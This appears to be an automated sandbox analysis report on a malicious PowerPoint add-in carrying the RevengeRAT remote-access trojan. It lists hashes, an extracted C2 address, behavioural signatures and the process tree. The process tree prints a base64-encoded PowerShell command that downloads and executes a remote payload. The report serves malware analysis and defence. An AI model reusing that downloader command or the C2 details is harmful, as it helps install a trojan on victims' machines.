Analysis

  • max time kernel
    131s
  • max time network
    140s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    28-08-2024 15:25

General

  • Target

    ac0f1be789f3f35ce6e6482c574f29bdaa51b67fb5dd868688cbc070a5128bac.ppam

  • Size

    27KB

  • MD5

    9abe6399117db22ab034d5f0e5a10405

  • SHA1

    dd50c7810bdb8e984abb9be6621800859080de74

  • SHA256

    ac0f1be789f3f35ce6e6482c574f29bdaa51b67fb5dd868688cbc070a5128bac

  • SHA512

    78abc8d8e1e70087f4d3530c8797d348714c3f4f0d31fcd5e8537c71a04f466d92f647b31a6134b3b3e940dabf760e26ec9fc3d0a79cf119230e7c61a11a3a5d

  • SSDEEP

    768:VPSyPjnMWWhFevmEnIaxMUisHSrczYGnp:Vqy7nMrFaPB+UtHSIzYGp

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

18.228.165.84:3333

Mutex

788bf014999d4ae8929

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • Blocklisted process makes network request 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\ac0f1be789f3f35ce6e6482c574f29bdaa51b67fb5dd868688cbc070a5128bac.ppam"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of WriteProcessMemory
    PID:2476
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2944
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGYAaQByAGUAYgBhAHMAZQBzAHQAbwByAGEAZwBlAC4AZwBvAG8AZwBsAGUAYQBwAGkAcwAuAGMAbwBtAC8AdgAwAC8AYgAvAHMAcABhAG0ALQBjADIANwAzAGEALgBhAHAAcABzAHAAbwB0AC4AYwBvAG0ALwBvAC8AMQA1AC0AMAA4AC0AMgAwADIANAAuAGoAcABnAD8AYQBsAHQAPQBtAGUAZABpAGEAJgB0AG8AawBlAG4APQBkAGIAYQA5ADEAMgBjADAALQBlADgANAAxAC0ANAAyADIANQAtAGEAYgA4ADgALQA4AGIAYQAyADYAMQAyADYANgAxAGUAMgANAAoAJwApADsAIAANAAoAdQBwAFQAQQBvAGkAWABUAEMAdQBVAEMATgBwAHkAegBhAA0ACgA=""
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2652
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
          3⤵
          • System Location Discovery: System Language Discovery
          PID:1088

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1088-36-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/1088-38-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/1088-40-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/1088-42-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/1088-44-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

      Filesize

      4KB

    • memory/1088-45-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/1088-46-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/1088-47-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/2476-19-0x0000000000350000-0x0000000000450000-memory.dmp

      Filesize

      1024KB

    • memory/2476-49-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2476-9-0x0000000000350000-0x0000000000450000-memory.dmp

      Filesize

      1024KB

    • memory/2476-20-0x0000000071CDD000-0x0000000071CE8000-memory.dmp

      Filesize

      44KB

    • memory/2476-21-0x0000000000350000-0x0000000000450000-memory.dmp

      Filesize

      1024KB

    • memory/2476-50-0x0000000071CDD000-0x0000000071CE8000-memory.dmp

      Filesize

      44KB

    • memory/2476-13-0x0000000000350000-0x0000000000450000-memory.dmp

      Filesize

      1024KB

    • memory/2476-6-0x0000000000350000-0x0000000000450000-memory.dmp

      Filesize

      1024KB

    • memory/2476-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2476-2-0x0000000071CDD000-0x0000000071CE8000-memory.dmp

      Filesize

      44KB

    • memory/2476-3-0x0000000006100000-0x0000000006200000-memory.dmp

      Filesize

      1024KB

    • memory/2476-8-0x0000000000350000-0x0000000000450000-memory.dmp

      Filesize

      1024KB

    • memory/2476-17-0x0000000000350000-0x0000000000450000-memory.dmp

      Filesize

      1024KB

    • memory/2476-0-0x000000002DFC1000-0x000000002DFC2000-memory.dmp

      Filesize

      4KB

    • memory/2476-18-0x0000000000350000-0x0000000000450000-memory.dmp

      Filesize

      1024KB

    • memory/2652-29-0x0000000002930000-0x0000000002948000-memory.dmp

      Filesize

      96KB

    • memory/2652-35-0x0000000002930000-0x0000000002948000-memory.dmp

      Filesize

      96KB

    • memory/2652-25-0x0000000002930000-0x0000000002948000-memory.dmp

      Filesize

      96KB

    • memory/2652-27-0x0000000002930000-0x0000000002948000-memory.dmp

      Filesize

      96KB

    • memory/2652-31-0x0000000002930000-0x0000000002948000-memory.dmp

      Filesize

      96KB

    • memory/2652-33-0x0000000002930000-0x0000000002948000-memory.dmp

      Filesize

      96KB

    • memory/2652-24-0x0000000002930000-0x0000000002948000-memory.dmp

      Filesize

      96KB